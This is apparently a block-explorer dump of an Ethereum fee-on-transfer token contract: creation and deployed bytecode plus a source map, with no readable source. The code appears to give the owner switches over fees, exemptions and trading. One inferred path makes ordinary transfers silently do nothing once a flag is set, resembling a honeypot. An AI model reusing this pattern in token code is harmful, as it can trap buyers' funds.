168015610e83575081600654105b156105dc57600d805462ff00001916620100001790555060019392505050565b610ead828261101b565b15610ede57305f908152600e60205260409020546007548110610ecf57506007545b610ed8816110b9565b505f6009555b5050565b6001600160a01b0382165f908152600f602052604081205460ff161580156105e05750506001600160a01b03165f908152600f602052604090205460ff1615919050565b5f80610f328585611238565b1115611009575f610f54610f468686611238565b60045461055c9086906108eb565b305f908152600e6020526040902054909150610f709082611010565b305f818152600e6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc09085815260200190565b60405180910390a360145415610ff757610ff73061dead610ff260145461055c600454896108eb90919063ffffffff16565b6108f6565b6110018382610c31565b9150506105e0565b5092915050565b5f6105e08284611694565b6005545f9060ff1680156110375750600d54610100900460ff16155b801561105b57506001600160a01b0383165f908152600f602052604090205460ff16155b801561107f57506001600160a01b0382165f908152600f602052604090205460ff16155b8015611089575060015b80156110a55750600854305f908152600e602052604090205410155b80156105e0575050600d5460ff1692915050565b600d805461ff0019166101001790556017546015546016545f926110f29260029261055c92916110ec9182906001611010565b90611010565b90505f61110e82610562601654866108e090919063ffffffff16565b90505f61111b8483610c31565b90504761112782611282565b5f6111324783610c31565b90505f61115461114d60165488610c3190919063ffffffff16565b83906108eb565b90505f61116c601654836108e090919063ffffffff16565b9050801561117e5761117e86826113e2565b6015545f906111929061055c8560026108e0565b905080156111da5760405173ad239b0622e65d04e054e5e9b98d5cf64786bb8b9082156108fc029083905f818181858888f193505050501580156111d8573d5f803e3d5ffd5b505b47801561122157604051738a809e52abac97175cfdb88a17a3b56ae7fad43a9082156108fc029083905f818181858888f1935050505015801561121f573d5f803e3d5ffd5b505b5050600d805461ff00191690555050505050505050565b6002545f906001600160a01b039081169084160361125957506011546104b1565b6002546001600160a01b039081169083160361127857506012546104b1565b5060135492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112b5576112b56116a7565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561130c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061133091906116bb565b81600181518110611343576113436116a7565b6001600160a01b03909216602092830291909101909101528115610ede576001546113799030906001600160a01b03168461085c565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906113b19085905f908690309042906004016116d6565b5f604051808303815f87803b1580156113c8575f80fd5b505af11580156113da573d5f803e3d5ffd5b505050505050565b6001546113fa9030906001600160a01b03168461085c565b60015460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611465573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061148a9190611747565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146114da575f80fd5b50565b5f80604083850312156114ee575f80fd5b82356114f9816114c6565b946020939093013593505050565b5f805f60608486031215611519575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611542575f80fd5b833561154d816114c6565b9250602084013561155d816114c6565b929592945050506040919091013590565b5f6020828403121561157e575f80fd5b81356105e0816114c6565b5f806040838503121561159a575f80fd5b82356115a5816114c6565b9150602083013580151581146115b9575f80fd5b809150509250929050565b5f805f805f805f60e0888a0312156115da575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f806040838503121561161c575f80fd5b8235611627816114c6565b915060208301356115b9816114c6565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104b1576104b1611637565b5f8261167c57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104b1576104b1611637565b808201808211156104b1576104b1611637565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156116cb575f80fd5b81516105e0816114c6565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117265784516001600160a01b031683529383019391830191600101611701565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611759575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220f2305e4ef4baf0de5147583d535e92e37596b5a69cc70a7f5b91ebea0c57aa8764736f6c63430008190033

Deployed Bytecode

0x60806040526004361061014a575f3560e01c80638a8c523c116100b3578063a9059cbb1161006d578063a9059cbb146103cd578063a9e75723146103ec578063b05a63ec14610400578063da2e3bad1461041f578063dd62ed3e1461043e578063f2fde38b14610482575f80fd5b80638a8c523c146103245780638c0b5e22146103385780638f3fa8601461034c5780639358928b1461036057806395d89b4114610374578063a406e5b11461039f575f80fd5b8063313ce56711610104578063313ce5671461025a57806349bd5a5e1461027557806370a08231146102ac578063715018a6146102e0578063751039fc146102f4578063893d20e814610308575f80fd5b806306fdde0314610155578063095ea7b3146101a057806318160ddd146101cf578063189ae5f2146101ed57806323b872dd1461020e5780632f54bf6e1461022d575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b50604080518082019091526011815270151d5c989bd1115608141c9bdd1bd8dbdb607a1b60208201525b6040516101979190611491565b60405180910390f35b3480156101ab575f80fd5b506101bf6101ba3660046114dd565b6104a1565b6040519015158152602001610197565b3480156101da575f80fd5b506003545b604051908152602001610197565b3480156101f8575f80fd5b5061020c610207366004611507565b6104b7565b005b348015610219575f80fd5b506101bf610228366004611530565b610597565b348015610238575f80fd5b506101bf61024736600461156e565b5f546001600160a01b0391821691161490565b348015610265575f80fd5b5060405160098152602001610197565b348015610280575f80fd5b50600254610294906001600160a01b031681565b6040516001600160a01b039091168152602001610197565b3480156102b7575f80fd5b506101df6102c636600461156e565b6001600160a01b03165f908152600e602052604090205490565b3480156102eb575f80fd5b5061020c6105e7565b3480156102ff575f80fd5b5061020c610640565b348015610313575f80fd5b505f546001600160a01b0316610294565b34801561032f575f80fd5b5061020c610667565b348015610343575f80fd5b506101df61068b565b348015610357575f80fd5b506101df6106b4565b34801561036b575f80fd5b506101df6106c4565b34801561037f575f80fd5b506040805180820190915260038152620a888b60eb1b602082015261018a565b3480156103aa575f80fd5b506101bf6103b936600461156e565b600f6020525f908152604090205460ff1681565b3480156103d8575f80fd5b506101bf6103e73660046114dd565b61072c565b3480156103f7575f80fd5b506101df610738565b34801561040b575f80fd5b5061020c61041a366004611589565b610748565b34801561042a575f80fd5b5061020c6104393660046115c4565b610787565b348015610449575f80fd5b506101df61045836600461160b565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b34801561048d575f80fd5b5061020c61049c36600461156e565b6107f4565b5f6104ad33848461085c565b5060015b92915050565b5f546001600160a01b031633146104cc575f80fd5b5f612710836104da60035490565b6104e4919061164b565b6104ee9190611662565b90505f612710856104fe60035490565b610508919061164b565b6105129190611662565b90505f6127108461052260035490565b61052c919061164b565b6105369190611662565b600a869055600c879055600b85905590505f6105686103e8610562600561055c60035490565b906108e0565b906108eb565b905080831015801561057a5750808410155b80156105865750808210155b61058e575f80fd5b50505050505050565b5f6105a38484846108f6565b6001600160a01b0384165f908152601060209081526040808320338085529252909120546105dc9186916105d79086610c31565b61085c565b5060015b9392505050565b5f546001600160a01b031633146105fc575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b03163314610655575f80fd5b612710600a819055600b819055600c55565b5f546001600160a01b0316331461067c575f80fd5b6005805460ff19166001179055565b5f600454600c5461069b60035490565b6106a5919061164b565b6106af9190611662565b905090565b5f600454600b5461069b60035490565b600e6020527ff77e91909e61d18f67b875b2bfcae1f683a8d555e55382e3a6b082e2c59ea57a545f8080527fe710864318d4a32f37d6ce54cb3fadbef648dd12d8dbdf53973564d56b7f881c5460035491926106af9290916107269190610c31565b90610c31565b5f6104ad3384846108f6565b5f600454600a5461069b60035490565b5f546001600160a01b0316331461075d575f80fd5b6001600160a01b03919091165f908152600f60205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461079c575f80fd5b60168790556015869055601183905560178490556013819055601282905560148590556004546107cd9060056108eb565b6011541115801561058657506004546107e79060056108eb565b601254111561058e575f80fd5b5f546001600160a01b03163314610809575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661086e575f80fd5b6001600160a01b038216610880575f80fd5b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6105e0828461164b565b5f6105e08284611662565b5f8111610901575f80fd5b6001600160a01b038316610913575f80fd5b6001600160a01b038216610925575f80fd5b61092f8383610c3c565b801561094057506109408383610c8f565b80156109525750610952838383610ceb565b80156109645750610964838383610db0565b15610c2c5780610988846001600160a01b03165f908152600e602052604090205490565b10610b02576002546001600160a01b038481169116148015906109c357506001600160a01b0383165f908152600f602052604090205460ff16155b80156109e757506001600160a01b0382165f908152600f602052604090205460ff16155b80156109fb5750600d54610100900460ff16155b15610a2057600d5462010000900460ff1615610a1657505050565b610a208383610ea3565b6001600160a01b0383165f908152600e6020526040902054610a429082610c31565b6001600160a01b0384165f908152600e6020526040812091909155610a678484610ee2565b610a715781610a7c565b610a7c848484610f26565b6001600160a01b0384165f908152600e6020526040902054909150610aa19082611010565b6001600160a01b038085165f818152600e602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610af49085815260200190565b60405180910390a350505050565b6002546001600160a01b03848116911614801590610b3857506001600160a01b0382165f908152600f602052604090205460ff16155b8015610b5b57506001600160a01b0383165f908152600f602052604090205460ff165b8015610b6f5750600d54610100900460ff16155b15610c2c576001600160a01b0382165f908152600e6020526040902054610b969082610c31565b6001600160a01b038084165f818152600e602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610be99085815260200190565b60405180910390a36001600160a01b0383165f908152600e6020526040902054610c139082611010565b6001600160a01b0384165f908152600e60205260409020555b505050565b5f6105e08284611681565b6001600160a01b0382165f908152600f602052604081205460ff16158015610c7c57506001600160a01b0382165f908152600f602052604090205460ff16155b156104ad5760055460ff166104ad575f80fd5b6002545f906001600160a01b038381169116148015610cc657506001600160a01b0383165f908152600f602052604090205460ff16155b156104ad57600160095f828254610cdd9190611694565b909155505050600192915050565b6002545f906001600160a01b03858116911614610d5957610d0a610738565b82111580610d2f57506001600160a01b0384165f908152600f602052604090205460ff165b80610d5157506001600160a01b0383165f908152600f602052604090205460ff165b610d59575f80fd5b610d6161068b565b82111580610d8657506001600160a01b0384165f908152600f602052604090205460ff165b80610da857506001600160a01b0383165f908152600f602052604090205460ff165b6105dc575f80fd5b5f6001600160a01b03831661dead14801590610dda57506002546001600160a01b03848116911614155b8015610dfe57506001600160a01b0384165f908152600f602052604090205460ff16155b8015610e2257506001600160a01b0383165f908152600f602052604090205460ff16155b15610e5b57610e2f6106b4565b6001600160a01b0384165f908152600e6020526040902054610e519084611010565b1115610e5b575f80fd5b6001600160a01b0383165f908152600f602052604090205460ff168015610e83575081600654105b156105dc57600d805462ff00001916620100001790555060019392505050565b610ead828261101b565b15610ede57305f908152600e60205260409020546007548110610ecf57506007545b610ed8816110b9565b505f6009555b5050565b6001600160a01b0382165f908152600f602052604081205460ff161580156105e05750506001600160a01b03165f908152600f602052604090205460ff1615919050565b5f80610f328585611238565b1115611009575f610f54610f468686611238565b60045461055c9086906108eb565b305f908152600e6020526040902054909150610f709082611010565b305f818152600e6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc09085815260200190565b60405180910390a360145415610ff757610ff73061dead610ff260145461055c600454896108eb90919063ffffffff16565b6108f6565b6110018382610c31565b9150506105e0565b5092915050565b5f6105e08284611694565b6005545f9060ff1680156110375750600d54610100900460ff16155b801561105b57506001600160a01b0383165f908152600f602052604090205460ff16155b801561107f57506001600160a01b0382165f908152600f602052604090205460ff16155b8015611089575060015b80156110a55750600854305f908152600e602052604090205410155b80156105e0575050600d5460ff1692915050565b600d805461ff0019166101001790556017546015546016545f926110f29260029261055c92916110ec9182906001611010565b90611010565b90505f61110e82610562601654866108e090919063ffffffff16565b90505f61111b8483610c31565b90504761112782611282565b5f6111324783610c31565b90505f61115461114d60165488610c3190919063ffffffff16565b83906108eb565b90505f61116c601654836108e090919063ffffffff16565b9050801561117e5761117e86826113e2565b6015545f906111929061055c8560026108e0565b905080156111da5760405173ad239b0622e65d04e054e5e9b98d5cf64786bb8b9082156108fc029083905f818181858888f193505050501580156111d8573d5f803e3d5ffd5b505b47801561122157604051738a809e52abac97175cfdb88a17a3b56ae7fad43a9082156108fc029083905f818181858888f1935050505015801561121f573d5f803e3d5ffd5b505b5050600d805461ff00191690555050505050505050565b6002545f906001600160a01b039081169084160361125957506011546104b1565b6002546001600160a01b039081169083160361127857506012546104b1565b5060135492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112b5576112b56116a7565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561130c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061133091906116bb565b81600181518110611343576113436116a7565b6001600160a01b03909216602092830291909101909101528115610ede576001546113799030906001600160a01b03168461085c565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906113b19085905f908690309042906004016116d6565b5f604051808303815f87803b1580156113c8575f80fd5b505af11580156113da573d5f803e3d5ffd5b505050505050565b6001546113fa9030906001600160a01b03168461085c565b60015460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611465573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061148a9190611747565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146114da575f80fd5b50565b5f80604083850312156114ee575f80fd5b82356114f9816114c6565b946020939093013593505050565b5f805f60608486031215611519575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611542575f80fd5b833561154d816114c6565b9250602084013561155d816114c6565b929592945050506040919091013590565b5f6020828403121561157e575f80fd5b81356105e0816114c6565b5f806040838503121561159a575f80fd5b82356115a5816114c6565b9150602083013580151581146115b9575f80fd5b809150509250929050565b5f805f805f805f60e0888a0312156115da575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f806040838503121561161c575f80fd5b8235611627816114c6565b915060208301356115b9816114c6565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104b1576104b1611637565b5f8261167c57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104b1576104b1611637565b808201808211156104b1576104b1611637565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156116cb575f80fd5b81516105e0816114c6565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117265784516001600160a01b031683529383019391830191600101611701565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611759575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220f2305e4ef4baf0de5147583d535e92e37596b5a69cc70a7f5b91ebea0c57aa8764736f6c63430008190033

Deployed Bytecode Sourcemap

2855:12800:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5150:83;;;;;;;;;;-1:-1:-1;5220:5:0;;;;;;;;;;;;-1:-1:-1;;;5220:5:0;;;;5150:83;;;;;;;:::i;:::-;;;;;;;;6719:159;;;;;;;;;;-1:-1:-1;6719:159:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6719:159:0;893:187:1;5701:100:0;;;;;;;;;;-1:-1:-1;5781:12:0;;5701:100;;;1231:25:1;;;1219:2;1204:18;5701:100:0;1085:177:1;9065:689:0;;;;;;;;;;-1:-1:-1;9065:689:0;;;;;:::i;:::-;;:::i;:::-;;8298:243;;;;;;;;;;-1:-1:-1;8298:243:0;;;;;:::i;:::-;;:::i;1596:103::-;;;;;;;;;;-1:-1:-1;1596:103:0;;;;;:::i;:::-;1651:4;1686:5;-1:-1:-1;;;;;1675:16:0;;;1686:5;;1675:16;;1596:103;5346:83;;;;;;;;;;-1:-1:-1;5346:83:0;;3418:1;2443:36:1;;2431:2;2416:18;5346:83:0;2301:184:1;2967:28:0;;;;;;;;;;-1:-1:-1;2967:28:0;;;;-1:-1:-1;;;;;2967:28:0;;;;;;-1:-1:-1;;;;;2654:32:1;;;2636:51;;2624:2;2609:18;2967:28:0;2490:203:1;5909:119:0;;;;;;;;;;-1:-1:-1;5909:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6002:18:0;5975:7;6002:18;;;:9;:18;;;;;;;5909:119;1707:139;;;;;;;;;;;;;:::i;6545:166::-;;;;;;;;;;;;;:::i;5809:92::-;;;;;;;;;;-1:-1:-1;5861:7:0;5888:5;-1:-1:-1;;;;;5888:5:0;5809:92;;6036:85;;;;;;;;;;;;;:::i;10265:126::-;;;;;;;;;;;;;:::i;11032:132::-;;;;;;;;;;;;;:::i;5532:161::-;;;;;;;;;;;;;:::i;5437:87::-;;;;;;;;;;-1:-1:-1;5509:7:0;;;;;;;;;;;;-1:-1:-1;;;5509:7:0;;;;5437:87;;4133:45;;;;;;;;;;-1:-1:-1;4133:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8549:151;;;;;;;;;;-1:-1:-1;8549:151:0;;;;;:::i;:::-;;:::i;11172:138::-;;;;;;;;;;;;;:::i;8708:123::-;;;;;;;;;;-1:-1:-1;8708:123:0;;;;;:::i;:::-;;:::i;9762:495::-;;;;;;;;;;-1:-1:-1;9762:495:0;;;;;:::i;:::-;;:::i;6129:143::-;;;;;;;;;;-1:-1:-1;6129:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6237:18:0;;;6210:7;6237:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6129:143;1854:148;;;;;;;;;;-1:-1:-1;1854:148:0;;;;;:::i;:::-;;:::i;6719:159::-;6794:4;6811:37;6820:10;6832:7;6841:6;6811:8;:37::i;:::-;-1:-1:-1;6866:4:0;6719:159;;;;;:::o;9065:689::-;1651:4;1686:5;-1:-1:-1;;;;;1686:5:0;2058:10;1675:16;2042:28;;;;;;9199:25:::1;9269:5;9244:21;9228:13;5781:12:::0;;;5701:100;9228:13:::1;:37;;;;:::i;:::-;9227:47;;;;:::i;:::-;9199:75;;9285:19;9343:5;9324:15;9308:13;5781:12:::0;;;5701:100;9308:13:::1;:31;;;;:::i;:::-;9307:41;;;;:::i;:::-;9285:63;;9359:26;9428:5;9405:19;9389:13;5781:12:::0;;;5701:100;9389:13:::1;:35;;;;:::i;:::-;9388:45;;;;:::i;:::-;9444:22;:46:::0;;;9501:16:::1;:34:::0;;;9546:20:::1;:42:::0;;;9359:74;-1:-1:-1;;9615:30:0::1;9640:4;9615:20;9633:1;9615:13;5781:12:::0;;;5701:100;9615:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;9599:46;;9679:5;9664:11;:20;;:50;;;;;9709:5;9688:17;:26;;9664:50;:81;;;;;9740:5;9718:18;:27;;9664:81;9656:90;;;::::0;::::1;;9188:566;;;;9065:689:::0;;;:::o;8298:243::-;8387:4;8404:27;8414:4;8420:2;8424:6;8404:9;:27::i;:::-;-1:-1:-1;;;;;8469:17:0;;;;;;:11;:17;;;;;;;;8457:10;8469:29;;;;;;;;;8442:69;;8451:4;;8469:41;;8503:6;8469:33;:41::i;:::-;8442:8;:69::i;:::-;-1:-1:-1;8529:4:0;8298:243;;;;;;:::o;1707:139::-;1651:4;1686:5;-1:-1:-1;;;;;1686:5:0;2058:10;1675:16;2042:28;;;;;;1788:1:::1;1772:18:::0;;-1:-1:-1;;;;;;1772:18:0::1;::::0;;1806:32:::1;::::0;2636:51:1;;;1806:32:0::1;::::0;2624:2:1;2609:18;1806:32:0::1;;;;;;;1707:139::o:0;6545:166::-;1651:4;1686:5;-1:-1:-1;;;;;1686:5:0;2058:10;1675:16;2042:28;;;;;;6624:5:::1;6599:22;:30:::0;;;6640:20:::1;:28:::0;;;6679:16:::1;:24:::0;6545:166::o;6036:85::-;1651:4;1686:5;-1:-1:-1;;;;;1686:5:0;2058:10;1675:16;2042:28;;;;;;6091:15:::1;:22:::0;;-1:-1:-1;;6091:22:0::1;6109:4;6091:22;::::0;;6036:85::o;10265:126::-;10309:7;10371:12;;10352:16;;10336:13;5781:12;;;5701:100;10336:13;:32;;;;:::i;:::-;:47;;;;:::i;:::-;10329:54;;10265:126;:::o;11032:132::-;11078:7;11144:12;;11121:20;;11105:13;5781:12;;;5701:100;5532:161;6002:9;:18;;;;5591:7;6002:18;;;;;5618:12;;5591:7;;5618:67;;6002:18;;5618:39;;:12;:16;:39::i;:::-;:43;;:67::i;8549:151::-;8620:4;8637:33;8647:10;8659:2;8663:6;8637:9;:33::i;11172:138::-;11222:7;11290:12;;11265:22;;11249:13;5781:12;;;5701:100;8708:123;1651:4;1686:5;-1:-1:-1;;;;;1686:5:0;2058:10;1675:16;2042:28;;;;;;-1:-1:-1;;;;;8793:22:0;;;::::1;;::::0;;;:12:::1;:22;::::0;;;;:30;;-1:-1:-1;;8793:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8708:123::o;9762:495::-;1651:4;1686:5;-1:-1:-1;;;;;1686:5:0;2058:10;1675:16;2042:28;;;;;;9942:13:::1;:28:::0;;;9981:13:::1;:28:::0;;;10020:9:::1;:20:::0;;;10051:7:::1;:16:::0;;;10078:12:::1;:26:::0;;;10115:8:::1;:18:::0;;;10144:8:::1;:18:::0;;;-1:-1:-1;10194:12:0;:19:::1;::::0;-1:-1:-1;10194:16:0::1;:19::i;:::-;10181:9;;:32;;:67;;;;-1:-1:-1::0;10229:12:0::1;::::0;:19:::1;::::0;10246:1:::1;10229:16;:19::i;:::-;10217:8;;:31;;10173:76;;;::::0;::::1;1854:148:::0;1651:4;1686:5;-1:-1:-1;;;;;1686:5:0;2058:10;1675:16;2042:28;;;;;;1934:5:::1;:15:::0;;-1:-1:-1;;;;;;1934:15:0::1;-1:-1:-1::0;;;;;1934:15:0;::::1;::::0;;::::1;::::0;;;1965:29:::1;::::0;2636:51:1;;;1965:29:0::1;::::0;2624:2:1;2609:18;1965:29:0::1;;;;;;;1854:148:::0;:::o;6280:257::-;-1:-1:-1;;;;;6373:19:0;;6365:28;;;;;;-1:-1:-1;;;;;6412:21:0;;6404:30;;;;;;-1:-1:-1;;;;;6445:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6497:32;;1231:25:1;;;6497:32:0;;1204:18:1;6497:32:0;;;;;;;6280:257;;;:::o;1322:84::-;1380:7;1398:5;1402:1;1398;:5;:::i;1232:84::-;1290:7;1308:5;1312:1;1308;:5;:::i;6886:1404::-;6991:1;6974:6;:19;6966:28;;;;;;-1:-1:-1;;;;;7013:18:0;;7005:27;;;;;;-1:-1:-1;;;;;7051:16:0;;7043:25;;;;;;7099:26;7116:4;7122:2;7099:16;:26::i;:::-;:68;;;;;7142:25;7158:4;7164:2;7142:15;:25::i;:::-;7099:115;;;;;7184:30;7197:4;7203:2;7207:6;7184:12;:30::i;:::-;7099:166;;;;;7231:34;7248:4;7254:2;7258:6;7231:16;:34::i;:::-;7081:1202;;;7315:6;7296:15;7306:4;-1:-1:-1;;;;;6002:18:0;5975:7;6002:18;;;:9;:18;;;;;;;5909:119;7296:15;:25;7292:980;;7376:13;;-1:-1:-1;;;;;7368:21:0;;;7376:13;;7368:21;;;;:65;;-1:-1:-1;;;;;;7415:18:0;;;;;;:12;:18;;;;;;;;7414:19;7368:65;:107;;;;-1:-1:-1;;;;;;7459:16:0;;;;;;:12;:16;;;;;;;;7458:17;7368:107;:144;;;;-1:-1:-1;7501:11:0;;;;;;;7500:12;7368:144;7342:287;;;7559:9;;;;;;;7555:55;;;6886:1404;;;:::o;7555:55::-;7589:18;7598:4;7604:2;7589:8;:18::i;:::-;-1:-1:-1;;;;;7665:15:0;;;;;;:9;:15;;;;;;:27;;7685:6;7665:19;:27::i;:::-;-1:-1:-1;;;;;7647:15:0;;;;;;:9;:15;;;;;:45;;;;7736:25;7657:4;7758:2;7736:15;:25::i;:::-;:65;;7795:6;7736:65;;;7764:28;7775:4;7781:2;7785:6;7764:10;:28::i;:::-;-1:-1:-1;;;;;7836:13:0;;;;;;:9;:13;;;;;;7711:90;;-1:-1:-1;7836:33:0;;7711:90;7836:17;:33::i;:::-;-1:-1:-1;;;;;7820:13:0;;;;;;;:9;:13;;;;;;;:49;;;;7893:34;;;;;;;;;;7912:14;1231:25:1;;1219:2;1204:18;;1085:177;7893:34:0;;;;;;;;7323:620;6886:1404;;;:::o;7292:980::-;7979:13;;-1:-1:-1;;;;;7971:21:0;;;7979:13;;7971:21;;;;:59;;-1:-1:-1;;;;;;8014:16:0;;;;;;:12;:16;;;;;;;;8013:17;7971:59;:98;;;;-1:-1:-1;;;;;;8051:18:0;;;;;;:12;:18;;;;;;;;7971:98;:131;;;;-1:-1:-1;8091:11:0;;;;;;;8090:12;7971:131;7949:323;;;-1:-1:-1;;;;;8153:13:0;;;;;;:9;:13;;;;;;:25;;8171:6;8153:17;:25::i;:::-;-1:-1:-1;;;;;8137:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8184:26;;;;;;;;;;8203:6;1231:25:1;;1219:2;1204:18;;1085:177;8184:26:0;;;;;;;;-1:-1:-1;;;;;8229:15:0;;;;;;:9;:15;;;;;;:27;;8249:6;8229:19;:27::i;:::-;-1:-1:-1;;;;;8211:15:0;;;;;;:9;:15;;;;;:45;7949:323;6886:1404;;;:::o;1142:84::-;1200:7;1218:5;1222:1;1218;:5;:::i;8839:218::-;-1:-1:-1;;;;;8936:18:0;;8914:4;8936:18;;;:12;:18;;;;;;;;8935:19;:40;;;;-1:-1:-1;;;;;;8959:16:0;;;;;;:12;:16;;;;;;;;8958:17;8935:40;8931:97;;;9000:15;;;;8992:24;;;;;12339:215;12435:13;;12408:4;;-1:-1:-1;;;;;12429:19:0;;;12435:13;;12429:19;:42;;;;-1:-1:-1;;;;;;12453:18:0;;;;;;:12;:18;;;;;;;;12452:19;12429:42;12425:100;;;12511:1;12488:11;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;;12542:4:0;12339:215;;;;:::o;11805:368::-;11927:13;;11898:4;;-1:-1:-1;;;;;11919:21:0;;;11927:13;;11919:21;11915:139;;11980:19;:17;:19::i;:::-;11965:11;:34;;:56;;;-1:-1:-1;;;;;;12003:18:0;;;;;;:12;:18;;;;;;;;11965:56;:76;;;-1:-1:-1;;;;;;12025:16:0;;;;;;:12;:16;;;;;;;;11965:76;11957:85;;;;;;12087:13;:11;:13::i;:::-;12072:11;:28;;:50;;;-1:-1:-1;;;;;;12104:18:0;;;;;;:12;:18;;;;;;;;12072:50;:70;;;-1:-1:-1;;;;;;12126:16:0;;;;;;:12;:16;;;;;;;;12072:70;12064:79;;;;;11318:479;11404:4;-1:-1:-1;;;;;11439:26:0;;3332:42;11439:26;;;;:71;;-1:-1:-1;11496:13:0;;-1:-1:-1;;;;;11482:28:0;;;11496:13;;11482:28;;11439:71;:107;;;;-1:-1:-1;;;;;;11528:18:0;;;;;;:12;:18;;;;;;;;11527:19;11439:107;:141;;;;-1:-1:-1;;;;;;11564:16:0;;;;;;:12;:16;;;;;;;;11563:17;11439:141;11421:253;;;11646:15;:13;:15::i;:::-;-1:-1:-1;;;;;11616:13:0;;;;;;:9;:13;;;;;;:25;;11634:6;11616:17;:25::i;:::-;11615:46;;11607:55;;;;;;-1:-1:-1;;;;;11690:16:0;;;;;;:12;:16;;;;;;;;:44;;;;;11728:6;11710:15;;:24;11690:44;11686:79;;;11749:9;:16;;-1:-1:-1;;11749:16:0;;;;;-1:-1:-1;11785:4:0;11318:479;;;;;:::o;13324:372::-;13392:23;13406:4;13412:2;13392:13;:23::i;:::-;13388:301;;;13473:4;13432:20;6002:18;;;:9;:18;;;;;;13514:15;;13498:31;;13494:102;;-1:-1:-1;13565:15:0;;13494:102;13610:28;13625:12;13610:14;:28::i;:::-;-1:-1:-1;13675:1:0;13653:11;:24;13388:301;13324:372;;:::o;12181:146::-;-1:-1:-1;;;;;12280:18:0;;12255:4;12280:18;;;:12;:18;;;;;;;;12279:19;:40;;;;-1:-1:-1;;;;;;;12303:16:0;;;;;:12;:16;;;;;;;;12302:17;;12181:146;-1:-1:-1;12181:146:0:o;10399:625::-;10484:7;10529:1;10508:18;10517:4;10523:2;10508:8;:18::i;:::-;:22;10504:484;;;10547:17;10567:53;10601:18;10610:4;10616:2;10601:8;:18::i;:::-;10583:12;;10567:29;;:11;;:15;:29::i;:53::-;10680:4;10662:24;;;;:9;:24;;;;;;10547:73;;-1:-1:-1;10662:39:0;;10547:73;10662:28;:39::i;:::-;10653:4;10635:24;;;;:9;:24;;;;;;;:66;;;;10721:40;;-1:-1:-1;;;;;10721:40:0;;;;;;;10751:9;1231:25:1;;1219:2;1204:18;;1085:177;10721:40:0;;;;;;;;10780:8;;:21;10776:153;;10822:91;10840:4;3332:42;10869:43;10903:8;;10869:29;10885:12;;10869:11;:15;;:29;;;;:::i;:43::-;10822:9;:91::i;:::-;10950:26;:11;109